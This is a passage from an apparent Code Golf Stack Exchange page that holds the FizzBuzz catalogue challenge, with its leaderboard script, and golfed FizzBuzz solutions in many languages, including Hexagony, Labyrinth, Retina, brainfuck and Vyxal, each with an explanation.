Online!](http://hexagony.tryitonline.net/#code=LyQvY1RoaXMgcHJvZ3JhbSB3YXNuJ3Qgd3JpdHRlbiBpbiBzZWQsIGl0IHdhcyBidWlsdCBmb3IgSGV4YWdvbnkhCiMuLi4-MzI7cDtyO287ZztyO1wrLzthO3c7MjMrO207YTwuOy4-cztuOyszOTt0OyszMlxzLztuO2U7O3Q7aTtyO3c7PC4gfC4-KzMyO2k7bjsrMzI7SDtlXCA7LzQrO3k7bjtvO2c7YTt4OzwgaT40OyszMjtpO3Q7KzMyO1w7L3U7YjsyMys7czthO3c8aD47aTtsO3Q7KzMyO2ZcOy87czsyMys7cjtvOzwgVD5lO2Q7KzMzO0A&input=&debug=on) --- In sed, it prints the correct string if it matches the empty string at the end (always). The second line is a comment. This does require a string on STDIN, but it can be empty ([allowed based on this consensus](http://meta.codegolf.stackexchange.com/a/5477/57100)). **Example:** ``` echo '' | sed -f whatLanguage.sed ``` --- In Hexagony, the first `/` redirects to the bottom left, it follows the left side up to where the sed part starts, then just wraps left to right, down a line, right to left, down a line, and so on. The expanded hex looks like this: ``` / $ / c T h i s p r o g r a m w a s n ' t w r i t t e n i n s e d , i t w a s b u i l t f o r H e x a g o n y ! # . . . > 3 2 ; p ; r ; o ; g ; r ; \ + / ; a ; w ; 2 3 + ; m ; a < . ; . > s ; n ; + 3 9 ; t ; + 3 2 \ s / ; n ; e ; ; t ; i ; r ; w ; < . | . > + 3 2 ; i ; n ; + 3 2 ; H ; e \ ; / 4 + ; y ; n ; o ; g ; a ; x ; < i > 4 ; + 3 2 ; i ; t ; + 3 2 ; \ ; / u ; b ; 2 3 + ; s ; a ; w < h > ; i ; l ; t ; + 3 2 ; f \ ; / ; s ; 2 3 + ; r ; o ; < T > e ; d ; @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ``` [Answer] # [///](http://esolangs.org/wiki////) and [Retina](https://github.com/mbuettner/retina), 95 + 3 = 98 bytes ``` / // This program wasn't written in \/\/\/, it was built for Retina! /?./....(.*)(R.*)! $2$1///! ``` +3 bytes for the `-s` flag in Retina. ## Explanation for /// The first instruction is ``` / // ``` removes all newlines from the rest of the code, resulting in ``` This program wasn't written in \/\/\/, it was built for Retina!/?./....(.*)(R.*)!$2$1///! ``` Everything up to the `!` is just a literal and printed to STDOUT. The next instruction is ``` /?./....(.*)(R.*)!$2$1/ ``` But the search string `?.` cannot be found, so nothing happens. Then the remaining code is `//!` which is an incomplete instruction so the program terminates, having printed the correct string. ## Explanation for Retina ``` / // ``` This tells Retina to replace `/` with `//`. But the input is empty, so this doesn't match anything. ``` <empty> This program wasn't written in \/\/\/, it was built for Retina! ``` This replaces the input with the string in the second line. ``` /?./....(.*)(R.*)! $2$1///! ``` This matches the string `\/\/\/, it was built for Retina!` and replaces it with `Retina, it was built for ///!` to give the correct result. [Answer] # Python/QBasic, ~~160~~ 142 bytes Tested with [Python 3](https://tio.run/##HcqxCsJAEATQ/r5iXIsonoVYhhQGFWwkxvzAnqhZ0MtxWQl@/WlSDMzwJny17fw2pc0c@8Px2tTYrUvDKECXknu5kXHjqKYjmSzL2brCWc6r@nRuihDFq5k6FtS00iPE7hn5jYF7nymGKKp3D/EgrMD/kIXo6HAfeSkeXZzMjTajZUo/) and [QBasic 1.1](https://archive.org/details/msdos_qbasic_megapack). Won't work in Python 2 without adding `from __future__ import print_function` to line 4. ``` 1# DEFSTR A-B a = "QBasic" b = "Python" '';a,b=b,a;PRINT=print PRINT ("This program wasn't written in " + a + ", it was built for " + b + "!") ``` * In Python, `1#` is the expression `1` (no-op) followed by a comment. In QBasic, it's a line number (with the type suffix marking it as a `DOUBLE`). The `DEFSTR` statement tells QBasic that all variables whose names start with `A` or `B` (case-insensitive) are string variables. That way, we can call our variables `a` and `b` instead of `a$` and `b$` (which wouldn't work in Python). * In QBasic, `'` begins a comment. In Python, `''` is the empty string (no-op). Then we swap the language names and define an alias for the `print` function (since QBasic keywords are auto-formatted to uppercase). * The parentheses on the final line aren't necessary in QBasic, but don't hurt anything either. If I'm allowed to turn off the autoformatter (which is an option in [QB64](http://qb64.net), though not in the original QBasic), I can get it down to **114 bytes** using [Python 2](https://tio.run/##Hcq7DsIwDEDRPV9hzJAh6QArykAFzDz6Aw4CagmSyHFV8fXhsd5zy1vHnNatrZa7/eEynGHb9YYCnnqqfEUTAx7/DxprN@RjiJ5MEU6Kw8gViuSH0AtmqskqzMKqtwScAB059MD6M4gTPxXuWb49Olxgax8): ``` 1#DEFSTR A-B a="QBasic" b="Python" '';a,b=b,a print"This program wasn't written in "+a+", it was built for "+b+"!" ``` [Answer] # Perl/Ruby, 129 bytes ``` 0&&eval('def sort a,b;[b,a] end');printf"This program wasn't written in %s, it was built for %s!",(@a=sort"Perl","Ruby")[0],@a[1] ``` No regular expression abuse in this one, just making the most of the fact that 0 is truthy in Ruby to `eval` a definition for `sort` (which actually `reverse`s) and `printf`ing. Ruby didn't like using the list for the arguments, so I had to do each one individually. [Answer] # Python / Retina, ~~133~~ ~~120~~ ~~119~~ ~~117~~ 115 bytes Now that I know more about Retina and regexes, I've golfed it a bit more. It also actually works now. ``` #?.* print"This program wasn't written in Python, it was built for Retina!" #?.*t" #?(\w+)(,.* )(.+)!" #$3$2$1! # ``` Python just prints the statement. Retina replaces anything with the Python print statement, then removes the `print` and any quotes. Then, I swap `Python` and `Retina` and remove the `#`. [**Try in Python**](https://repl.it/CDNg/3) | [**Try in Retina**](http://retina.tryitonline.net/#code=Iz8uKgpwcmludCJUaGlzIHByb2dyYW0gd2Fzbid0IHdyaXR0ZW4gaW4gUHl0aG9uLCBpdCB3YXMgYnVpbHQgZm9yIFJldGluYSEiCiM_Lip0IgoKIz8oXHcrKSgsLiogKSguKykhIgojJDMkMiQxIQojCg&input=) [Answer] # JavaScript/CoffeeScript, ~~125~~ 124 bytes ``` console.log("This program wasn't written in",(a=['Coffee','Java'])[+(b=0=='0')]+"Script, it was built for",a[b^1]+"Script!") ``` In CoffeeScript, `a==b` is compiled down to `a===b`, which makes the intermediate condition false. I used a bit of magic to convert the boolean value to an integer. Saved 1 byte thanks to @DomHastings! ## 125-byte version: ``` console.log("This program wasn't written in",(a=['Coffee','Java'])[(b=0=='0')+0]+"Script, it was built for",a[b^1]+"Script!") ``` ]
[Question] [ ## Introduction In our recent effort to collect catalogues of shortest solutions for standard programming exercises, here is PPCG's first ever vanilla FizzBuzz challenge. If you wish to see other catalogue challenges, there is ["Hello World!"](https://codegolf.stackexchange.com/questions/55422/hello-world) and ["Is this number a prime?"](https://codegolf.stackexchange.com/questions/57617/is-this-number-a-prime). ## Challenge Write a program that prints the decimal numbers from 1 to 100 inclusive. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”. ## Output The output will be a list of numbers (and Fizzes, Buzzes and FizzBuzzes) separated by a newline (either `\n` or `\r\n`). A trailing newline is acceptable, but a leading newline is not. Apart from your choice of newline, the output should look exactly like this: ``` 1 2 Fizz 4 Buzz Fizz 7 8 Fizz Buzz 11 Fizz 13 14 FizzBuzz 16 17 Fizz 19 Buzz Fizz 22 23 Fizz Buzz 26 Fizz 28 29 FizzBuzz 31 32 Fizz 34 Buzz Fizz 37 38 Fizz Buzz 41 Fizz 43 44 FizzBuzz 46 47 Fizz 49 Buzz Fizz 52 53 Fizz Buzz 56 Fizz 58 59 FizzBuzz 61 62 Fizz 64 Buzz Fizz 67 68 Fizz Buzz 71 Fizz 73 74 FizzBuzz 76 77 Fizz 79 Buzz Fizz 82 83 Fizz Buzz 86 Fizz 88 89 FizzBuzz 91 92 Fizz 94 Buzz Fizz 97 98 Fizz Buzz ``` The only exception to this rule is constant output of your language's interpreter that cannot be suppressed, such as a greeting, ANSI color codes or indentation. ## Further Rules * This is not about finding the language with the shortest approach for playing FizzBuzz, this is about finding the shortest approach in every language. Therefore, no answer will be marked as accepted. * Submissions are scored in bytes in an appropriate preexisting encoding, usually (but not necessarily) UTF-8. Some languages, like Folders, are a bit tricky to score--if in doubt, please ask on Meta. * Nothing can be printed to STDERR. * Feel free to use a language (or language version) even if it's newer than this challenge. If anyone wants to abuse this by creating a language where the empty program generates FizzBuzz output, then congrats for paving the way for a very boring answer. Note that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language. * If your language of choice is a trivial variant of another (potentially more popular) language which already has an answer (think BASIC or SQL dialects, Unix shells or trivial Brainfuck derivatives like Alphuck and ???), consider adding a note to the existing answer that the same or a very similar solution is also the shortest in the other language. * Because the output is fixed, you may hardcode the output (but this may not be the shortest option). * You may use preexisting solutions, as long as you credit the original author of the program. * Standard loopholes are otherwise disallowed. As a side note, please don't downvote boring (but valid) answers in languages where there is not much to golf; these are still useful to this question as it tries to compile a catalogue as complete as possible. However, do primarily upvote answers in languages where the authors actually had to put effort into golfing the code. ## Catalogue ``` var QUESTION_ID=58615;var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe";var COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk";var OVERRIDE_USER=30525;var answers=[],answers_hash,answer_ids,answer_page=1,more_answers=true,comment_page;function answersUrl(index){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+index+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(index,answers){return"https://api.stackexchange.com/2.2/answers/"+answers.join(';')+"/comments?page="+index+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:true,success:function(data){answers.push.apply(answers,data.items);answers_hash=[];answer_ids=[];data.items.forEach(function(a){a.comments=[];var id=+a.share_link.match(/\d+/);answer_ids.push(id);answers_hash[id]=a});if(!data.has_more)more_answers=false;comment_page=1;getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:true,success:function(data){data.items.forEach(function(c){if(c.owner.user_id===OVERRIDE_USER)answers_hash[c.post_id].comments.push(c)});if(data.has_more)getComments();else if(more_answers)getAnswers();else process()}})}getAnswers();var SCORE_REG=/<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/;var OVERRIDE_REG=/^Override\s*header:\s*/i;function getAuthorName(a){return a.owner.display_name}function process(){var valid=[];answers.forEach(function(a){var body=a.body;a.comments.forEach(function(c){if(OVERRIDE_REG.test(c.body))body='<h1>'+c.body.replace(OVERRIDE_REG,'')+'</h1>'});var match=body.match(SCORE_REG);if(match)valid.push({user:getAuthorName(a),size:+match[2],language:match[1],link:a.share_link,});else console.log(body)});valid.sort(function(a,b){var aB=a.size,bB=b.size;return aB-bB});var languages={};var place=1;var lastSize=null;var lastPlace=1;valid.forEach(function(a){if(a.size!=lastSize)lastPlace=place;lastSize=a.size;++place;var answer=jQuery("#answer-template").html();answer=answer.replace("{{PLACE}}",lastPlace+".").replace("{{NAME}}",a.user).replace("{{LANGUAGE}}",a.language).replace("{{SIZE}}",a.size).replace("{{LINK}}",a.link);answer=jQuery(answer);jQuery("#answers").append(answer);var lang=a.language;lang=jQuery('<a>'+lang+'</a>').text();languages[lang]=languages[lang]||{lang:a.language,lang_raw:lang.toLowerCase(),user:a.user,size:a.size,link:a.link}});var langs=[];for(var lang in languages)if(languages.hasOwnProperty(lang))langs.push(languages[lang]);langs.sort(function(a,b){if(a.lang_raw>b.lang_raw)return 1;if(a.lang_raw<b.lang_raw)return-1;return 0});for(var i=0;i<langs.length;++i){var language=jQuery("#language-template").html();var lang=langs[i];language=language.replace("{{LANGUAGE}}",lang.lang).replace("{{NAME}}",lang.user).replace("{{SIZE}}",lang.size).replace("{{LINK}}",lang.link);language=jQuery(language);jQuery("#languages").append(language)}} ``` ``` body{text-align:left!important}#answer-list{padding:10px;width:290px;float:left}#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), 91 bytes Thanks for the bounty :) Wow, I would never have imagined I could beat [Martin’s Hexagony solution](https://codegolf.stackexchange.com/a/63344/34718). But—who would have thunk it—I got it done. After several days of failure because I neither had the Hexagony colorer nor the [EsotericIDE](https://github.com/Timwi/EsotericIDE) to check my solution. I got several aspects of the specification wrong, so I produced a few wrong “solutions” just using pen and paper and a text editor. Well, finally I overcame my laziness and cloned both repositories, downloaded VisualStudio and compiled them. Wow, what useful tools they are! As you can see, I am far from being someone you’d call a programmer (I mean, come on! I didn’t even have VisualStudio installed, and have pretty much no clue about how to compile a program) ;) It still took me a while to find a working solution, and it is quite crammed and chaotic, but here it is in all its glory: Fizzbuzz in a size 6 hexagon: ``` 3}1"$.!$>)}g4_.{$'))\<$\.\.@\}F\$/;z;u;<%<_>_..$>B/<>}))'%<>{>;e"-</_%;\/{}/>.\;.z;i;..>((' ``` Hexagonal layout: ``` 3 } 1 " $ . ! $ > ) } g 4 _ . { $ ' ) ) \ < $ \ . \ . @ \ } F \ $ / ; z ; u ; < % < _ > _ . . $ > B / < > } ) ) ' % < > { > ; e " - < / _ % ; \ / { } / > . \ ; . z ; i ; . . > ( ( ' ``` And the beautiful rendition, thanks to Timwi’s [Hexagony Colorer](https://github.com/Timwi/HexagonyColorer): [![Colorized Hexagony FizzBuzz solution](https://i.stack.imgur.com/g4OgJ.png)](https://i.stack.imgur.com/g4OgJ.png) So, here is a 110 seconds long GIF animation at 2 fps, showing the program flow during the first 6 numbers `1, 2, Fizz, 4, Buzz, Fizz`, the first 220 ticks of the program (click on the image for the full size): [![enter image description here](https://i.stack.imgur.com/Ciu3j.gif)](https://i.stack.imgur.com/Ciu3j.gif) My goodness, thanks to the Natron compositing software the animation of the pointer was still tedious to create, but manageable. Saving 260 images of the memory was less amusing. Unfortunately EsotericIDE can’t do that automatically. Anyways, enjoy the animation! After all, once you wrap your head around the memory model and the rather counterintuitive wrapping of paths that cross the borders of the hexagon, Hexagony is not that hard to work with. But golfing it can be a pain in the butt. ;) It was fun! [Answer] # [Python 2](https://docs.python.org/2/), 56 bytes ``` i=0;exec"print i%3/2*'Fizz'+i%5/4*'Buzz'or-~i;i+=1;"*100 ``` [Try it online!](https://tio.run/##K6gsycjPM/r/P9PWwDq1IjVZqaAoM69EIVPVWN9IS90ts6pKXTtT1VTfREvdqRTIyS/Srcu0ztS2NbRW0jI0MPj/HwA "Python 2 – Try It Online") [Answer] # [Labyrinth](http://esolangs.org/wiki/Labyrinth), 94 bytes ``` "):_1 \ } 01/3%70.105 " : @ " . " =";_""..:221 + _ "! 5%66.117 _:= " . ="*{"..:221 ``` Sub-100! This was a fun one. ## Explanation Let's start with a brief primer on Labyrinth – feel free to skip this if you're already familiar with the basics: * Labyrinth has two stacks – a main stack and an auxiliary stack. Both stacks have an infinite number of zeroes at the bottom, e.g. `+` on an empty stack adds two zeroes, thus pushing zero. * Control flow in Labyrinth is decided by junctions, which look at the top of the stack to determine where to go next. Negative means turn left, zero means go straight ahead and positive means turn right... but if we hit a wall then we reverse direction. For example, if only straight ahead and turn left are possible but the top of the stack is positive, then since we can't turn right we turn left instead. * Digits in Labyrinth pop `x` and push `10*x + <digit>`, which makes it easy to build up large numbers. However, this means that we need an instruction to push 0 in order to start a new number, which is `_` in Labyrinth. Now let's get to the actual code! [![enter image description here](https://i.stack.imgur.com/o3HrUm.png)](https://i.stack.imgur.com/o3HrUm.png) ### Red Execution starts from the `"` in the top-left corner, which is a NOP. Next is `)`, which increments the top of the stack, pushing 1 on the first pass and incrementing `n` on every following pass. Next we duplicate `n` with `:`. Since `n` is positive, we turn right, executing `}` (shift top of main stack to auxiliary) and `:`. We hit a dead end, so we turn around and execute `}` and `:` once more, leaving the stacks like ``` Main [ n n | n n ] Aux ``` Once again, `n` is positive and we turn right, executing `_101/` which divides `n` by 101. If `n` is 101 then `n/101 = 1` and we turn into the `@`, which terminates the program. Otherwise, our current situation is ``` Main [ n 0 | n n ] Aux ``` ### Orange 1 (mod 3) `3` turns the top zero into a 3 (`10*0 + 3 = 3`) and `%` performs a modulo. If `n%3` is positive, we turn right into the yellow `"`. Otherwise we perform `70.105.122:..`, which outputs `Fizz`. Note that we don't need to push new zeroes with `_` since `n%3` was zero in this case, so we can exploit the infinite zeroes at the bottom of the stack. Both paths meet up again at light blue. ### Light blue The top of the stack is currently `n%3`, which could be positive, so the `_;` just pushes a zero and immediately pops it to make sure we go straight ahead, instead of turning into the `@`. We then use `=` to swap the tops of the main and auxiliary stacks, giving: ``` Main [ n | n%3 n ] Aux ``` ### Orange 2 (mod 5) This is a similar situation to before, except that `66.117.122:..` outputs `Buzz` if `n%5` is zero. ### Dark blue The previous section leaves the stacks like ``` Main [ n%5 | n%3 n ] Aux ``` `{` shifts the `n%3` back to the main stack and `*` multiplies the two modulos. If either modulo is zero, the product is zero so we go straight into yellow. `=` swaps the top of the stacks and `_` pushes a zero to make sure we go straight ahead, giving ``` Main [ n 0 | 0 ] Aux ``` Otherwise, if both modulos are nonzero, then the product is nonzero and we turn right into green. `=` swaps the tops of the stacks, giving ``` Main [ n | (n%5)*(n%3) ] Aux ``` after which we use `:` to duplicate `n`, turn right, then use `!` to output `n`. ### Purple At this point, the main stack has either one or two items, depending on which path was taken. We need to get rid of the zero from the yellow path, and to do that we use `+`, which performs `n + 0` in some order for both cases. Finally, `\` outputs a newline and we're back at the start. Each iteration pushes an extra `(n%5)*(n%3)` to the auxiliary stack, but otherwise we do the same thing all over again. [Answer] # Ruby, 50 bytes Requires version 1.8, which seems to be popular among golfers: ``` 1.upto(?d){|n|puts'FizzBuzz '[i=n**4%-15,i+13]||n} ``` In modern Ruby, you replace `?d` with `100` for a 51-byte solution. This seems to be the world record. [Answer] # Perl 5, 49 bytes **46 bytes script + 3 bytes `-E"..."`** Using `say` (which requires `-E"..."`) can reduce this further to 46 bytes since `say` automatically includes a newline (Thanks [@Dennis](https://codegolf.stackexchange.com/users/12012/dennis)!): ``` say'Fizz'x!($_%3).Buzz x!($_%5)||$_ for 1..100 ``` --- # Perl 5, 50 bytes ``` print'Fizz'x!($_%3).Buzz x!($_%5)||$_,$/for 1..100 ``` [Answer] # [gs2](https://github.com/nooodl/gs2/), 1 ``` f ``` A [quote](https://codegolf.stackexchange.com/a/55176/2537) from Mauris, the creator of gs2: > > I wanted to one-up [goruby](https://stackoverflow.com/a/64124/257418)'s 1-byte `Hello, world!`, so... This prints `"1\n2\nFizz\n4\nBuzz\n..."`. :) > > > **Update**: Added 27-byte [answer](https://codegolf.stackexchange.com/a/58664/2537) that doesn't use `f`. [Answer] # Java, 130 bytes This is for recent Java versions (7+). In older ones you can shave some more off using the `enum` trick, but I don't think the logic gets any shorter than this (86 inside `main`). ``` class F{public static void main(String[]a){for(int i=0;i++<100;)System.out.println((i%3<1?"Fizz":"")+(i%5<1?"Buzz":i%3<1?"":i));}} ``` [Answer] # JavaScript, 62 bytes ``` for(i=0;++i<101;console.log(i%5?f||i:f+'Buzz'))f=i%3?'':'Fizz' ``` I think I this is the shortest Javascript solution now. [Answer] ## ArnoldC, 842 bytes ``` IT'S SHOWTIME HEY CHRISTMAS TREE a YOU SET US UP 100 HEY CHRISTMAS TREE b YOU SET US UP 0 HEY CHRISTMAS TREE r YOU SET US UP 0 STICK AROUND a GET TO THE CHOPPER b HERE IS MY INVITATION 101 GET DOWN a ENOUGH TALK GET TO THE CHOPPER r HERE IS MY INVITATION b I LET HIM GO 15 ENOUGH TALK BECAUSE I'M GOING TO SAY PLEASE r GET TO THE CHOPPER r HERE IS MY INVITATION b I LET HIM GO 3 ENOUGH TALK BECAUSE I'M GOING TO SAY PLEASE r GET TO THE CHOPPER r HERE IS MY INVITATION b I LET HIM GO 5 ENOUGH TALK BECAUSE I'M GOING TO SAY PLEASE r TALK TO THE HAND b BULLSHIT TALK TO THE HAND "Buzz" YOU HAVE NO RESPECT FOR LOGIC BULLSHIT TALK TO THE HAND "Fizz" YOU HAVE NO RESPECT FOR LOGIC BULLSHIT TALK TO THE HAND "FizzBuzz" YOU HAVE NO RESPECT FOR LOGIC GET TO THE CHOPPER a HERE IS MY INVITATION a GET DOWN 1 ENOUGH TALK CHILL YOU HAVE BEEN TERMINATED ``` First try at golfing, I think this is as bad as it gets (both language and golfing). [Answer] # Pyth, 30 ``` VS100|+*!%N3"Fizz"*!%N5"Buzz"N ``` [Try it here](http://pyth.herokuapp.com/?code=VS100%7C%2B%2a%21%25N3%22Fizz%22%2a%21%25N5%22Buzz%22N&debug=0) ### Explanation: ``` VS100|+*!%N3"Fizz"*!%N5"Buzz"N VS100 : for N in range(1,101) | : logical short-circuiting or +*!%N3"Fizz" : add "Fizz" * not(N % 3) : Since not gives True/False this is either "" or "Fizz" *!%N5"Buzz" : Same but with 5 and Buzz N : Otherwise N : The output of the | is implicitly printed with a newline ``` [Answer] ## [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~317~~ ~~139~~ ~~134~~ ~~132~~ ~~70~~ ~~63~~ ~~60~~ 55 bytes ``` .100{`^ _ *\(a`(___)+ Fi;$& \b(_{5})+$ Bu; ;_* zz '_&`. ``` [Try it online!](https://tio.run/##K0otycxLNPz/X8/QwKA6IY4rnksrRiMxQSM@Pl5Tm8st01pFjSsmSSO@2rRWU1uFy6nUmss6XourqopLPV4tQe//fwA "Retina – Try It Online") ## Explanation ``` .100{`^ _ ``` The `.` is the global silent flag which turns off implicit output at the end of the program. `100{` wraps the rest of the program in a loop which is executed for 100 iterations. Finally, the stage itself just inserts a `_` at the beginning of the string, which effectively increments a unary loop counter. ``` *\(a`(___)+ Fi;$& ``` More configuration. `*\(` wraps the remainder of the program in a group, prints its result with a trailing linefeed, but also puts the entire group in a dry run, which means that its result will be discarded after printing, so that our loop counter isn't actually modified. `a` is a custom regex modifier which anchors the regex to the entire string (which saves a byte on using `^` and `$` explicitly). The atomic stage itself takes care of `Fizz`. Divisibility by `3` can easily be checked in unary: just test if the number can be written as a repetition of `___`. If this is the case, we prepend `Fi;` to the string. The semicolon is so that there is still a word boundary in front of the number for the next stage. If we turned the line into `Fizz___...` the position between `z` and `_` would not be considered a boundary, because regex treats both letters and underscores as word characters. However, the semicolon also allows us to remove the `zz` duplication from `Fizz` and `Buzz`. ``` \b(_{5})+$ Bu; ``` We do the exact same for divisibility by `5` and `Bu;`, although we don't need to keep the `_`s around this time. So we would get a results like ``` _ __ Fi;___ ____ Bu; Fi;______ ... Fi;Bu; ... ``` This makes it very easy to get rid of the underscores only in those lines which contain `Fizz`, while also filling in the `zz`s: ``` ;_* zz ``` That is, we turn each semicolon into `zz` but we also consume all the `_`s right after it. At this point we're done with FizzBuzz in unary. But the challenge wants decimal output. ``` '_&`. ``` `&` indicates a conditional: this stage is only executed if the string contains an underscore. Therefore, `Fizz`, `Buzz` and `FizzBuzz` iterations are left untouched. In all other iterations (i.e. those which are neither divisible by 3 nor 5), we just count the number of characters, converting the result to decimal. [Answer] ## brainfuck, 206 bytes ``` ++>+++++>>>>>++++++++++[>+>>+>>+>+<<<[++++<-<]<,<,-<-<++<++++[<++>++++++>]++>>]> [+[[<<]<[>>]+++<[<.<.<..[>]]<<-[>>>[,>>[<]>[--.++<<]>]]+++++<[+[-----.++++<<]>>+ ..<-[>]]<[->>,>+>>>->->.>]<<]<[>+<<<,<->>>+]<] ``` Formatted: ``` ++>+++++>>>>> ++++++++++[>+>>+>>+>+<<<[++++<-<]<,<,-<-<++<++++[<++>++++++>]++>>] > [ + [ [<<] <[>>] +++< [ Fizz <.<.<.. [>] ] <<- [ >>> [ ,>>[<] >[--.++<<] > ] ] +++++< [ Buzz +[-----.++++<<] >>+.. <- [>] ] <[->>,>+>>>->->.>] << ] <[>+< <<,<->>>+] < ] ``` [Try it online](https://tio.run/##PU7bCQMxDBvIjwmEFjH@6B0USqEfhc6fyjlaOQFHkWwd79vjdf@cz7XMaAMO7I@imH0MQA2FQMPhoUavrcLPbuyZ0SyrgoTFYQyFnMpiNxCiWa4LSSNSCnXde4b2iItNXx@0zDHJW0H6RGKokn1tmXiOmPCNXusL) The memory layout is ``` 0 a 122 105 70 b f 0 t d1 s d2 c d 10 0 ``` where `f` cycles by 3, `b` cycles by 5, `d1` is ones digit, `d2` is tens digit, `s` is a flag for whether to print tens digit, `d` cycles by 10, `c` is copy space for `d`, `t` is working space that holds 0 or junk data or a flag for not-divisible-by-3, and `a` determines program termination by offsetting the pointer after Buzz has been printed 20 times. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), `j`, 65 bits1, ~~18~~ ~~17~~ ~~14~~ ~~12~~ ~~11~~ 8.125 [bytes](https://github.com/Vyxal/Vyncode/blob/main/README.md) ``` ₁ƛ₍₃₅kF½*∑∴ ``` [Try it Online! (link is to bitstring)](https://vyxal.pythonanywhere.com/?v=1#WyJqISIsIiIsIjExMDAwMDEwMTEwMTExMDAwMTAwMDAxMDExMTEwMDEwMDEwMDEwMTExMTAwMDExMDExMDAxMDAxMTExMDAxMDAwIiwiIiwiIl0=) I refuse to be beaten by Arn, Ash and Fig. I absolutely will not be beaten by any of those languages. Vyxal forever lads. And yes, that really *is* 8.125 bytes. [We have a fractional byte encoding system now](https://github.com/Vyxal/Vyncode). The 65-bit bitstring can be found at the online link. The program is presented as SBCS for convenience. ## Explained ``` ₁ƛ₍₃₅kF½*∑∴ ₁ # Push 100 to the stack ƛ # Over the range [1, 100], map: (we'll call the argument n) ₍₃₅ # [n % 3 == 0, n % 5 == 0] (call this X) kF # "FizzBuzz" ½ # ["Fizz", "Buzz"] # halve the string - split into two equal pieces *∑ # sum(X * ↑) ∴ # max(↑, n) # The -j flag joins on newlines before outputting ``` If you want it flagless: ## [Vyxal](https://github.com/Vyxal/Vyxal), 12 bytes ``` ₁⟑₍₃₅kF½*∑∴, ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLigoHin5Higo3igoPigoVrRsK9KuKIkeKItCwiLCIiLCIiXQ==) See how inconsequential flags are? ## [Vyxal](https://github.com/Vyxal/Vyxal), 17 bytes ``` ₁⟑35fḊ`₴ḟȦ↑`½*∑∴, ``` No questionable built-ins, no flags, just plain legitimate fizzbuzz. [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLigoHin5EzNWbhuIpg4oK04bifyKbihpFgwr0q4oiR4oi0LCIsIiIsIiJd) [Answer] # Perl 5, 45 bytes ``` say((Fizz)[$_%3].(Buzz)[$_%5]or$_)for+1..100 ``` Requires the `-E` option, counted as one. This must be run from the command line, i.e.: ``` perl -Esay((Fizz)[$_%3].(Buzz)[$_%5]or$_)for+1..100 ``` Quotes around the command are unnecessary, if one avoids using spaces, or any other characters which can act as command line separators (`|`, `<`, `>`, `&`, etc.). --- # Perl 5, 48 bytes ``` print+(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/for 1..100 ``` If command line options are counted as one each, `-l` would save one byte (by replacing `$/`). By [Classic Perlgolf Rules](http://thospel.home.xs4all.nl/golf/rules.html), however, this would count 3: one for the `-`, one for the `l`, and one for the necessary space. [Answer] # [beeswax](http://esolangs.org/wiki/Beeswax), ~~104~~ ~~89~~ 81 bytes Denser packing allowed for cutting off 8 more bytes. **Shortest solution (81 bytes), same program flow, different packing.** ``` p?@< p?{@b'gA< p@`zzuB`d'%~5F@<f`z`< >~P"#"_"1F3~%'d`Fiz`b d;"-~@~.< >?N@9P~0+d ``` Changing the concept enabled me to cut down the code by 15 bytes. I wanted to get rid of the double mod 5 test in the solution, so I implemented a flag. Short explanation: if `n%3=0` Fizz gets printed, and the flag gets set. The flag is realized simply by pushing the top lstack value onto the gstack (instruction `f`). If `n%5=0`, then either `n%3=0`(FizzBuzz case) or `n%3>0`(Buzz case). In both cases, Buzz gets printed, and the flag reset by popping the stack until it’s empty (instruction `?`). Now the interesting cases: If `n%5>0`, then either we had `n%3=0` (printing Fizz case, n must not be printed) or `n%3>0` (Fizz was not printed, so n has to be printed). Time to check the flag. This is realized by pushing the length of gstack on top of gstack (instruction `A`). If `n%3 was 0` then the gstack length is >0. If `n%3 was >0`, the gstack length is 0. A simple conditional jump makes sure n gets only printed if the length of gstack was 0. Again, after printing any of n, Fizz, and/or Buzz and the newline, the gstack gets popped twice to make sure it’s empty. gstack is either empty `[]`, which leads to `[0]` after instruction `A` (push length of gstack on gstack), or it contains one zero (`[0]`,the result of n%3), which leads to `[0 1]`, as [0] has the length 1. Popping from an empty stack does not change the stack, so it’s safe to pop twice. If you look closer you 